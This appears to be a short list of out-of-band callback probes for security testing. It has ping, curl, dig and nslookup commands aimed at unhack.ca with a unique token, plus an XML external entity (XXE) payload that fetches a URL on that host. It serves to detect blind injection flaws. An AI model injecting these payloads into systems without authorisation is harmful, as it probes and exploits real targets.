$ ping -c1 -p 0024a7913932b68b95f69b85a134aa00 unhack.ca
 

$ curl http://unhack.ca/p/24a7913932b68b95f69b85a134aa
 

$ dig 24a7913932b68b95f69b85a134aa @unhack.ca
 

$ dig 24a7913932b68b95f69b85a134aa.ns.unhack.ca
 

C:\> nslookup 24a7913932b68b95f69b85a134aa unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/24a7913932b68b95f69b85a134aa">]>
    <foo>&xxe;</foo>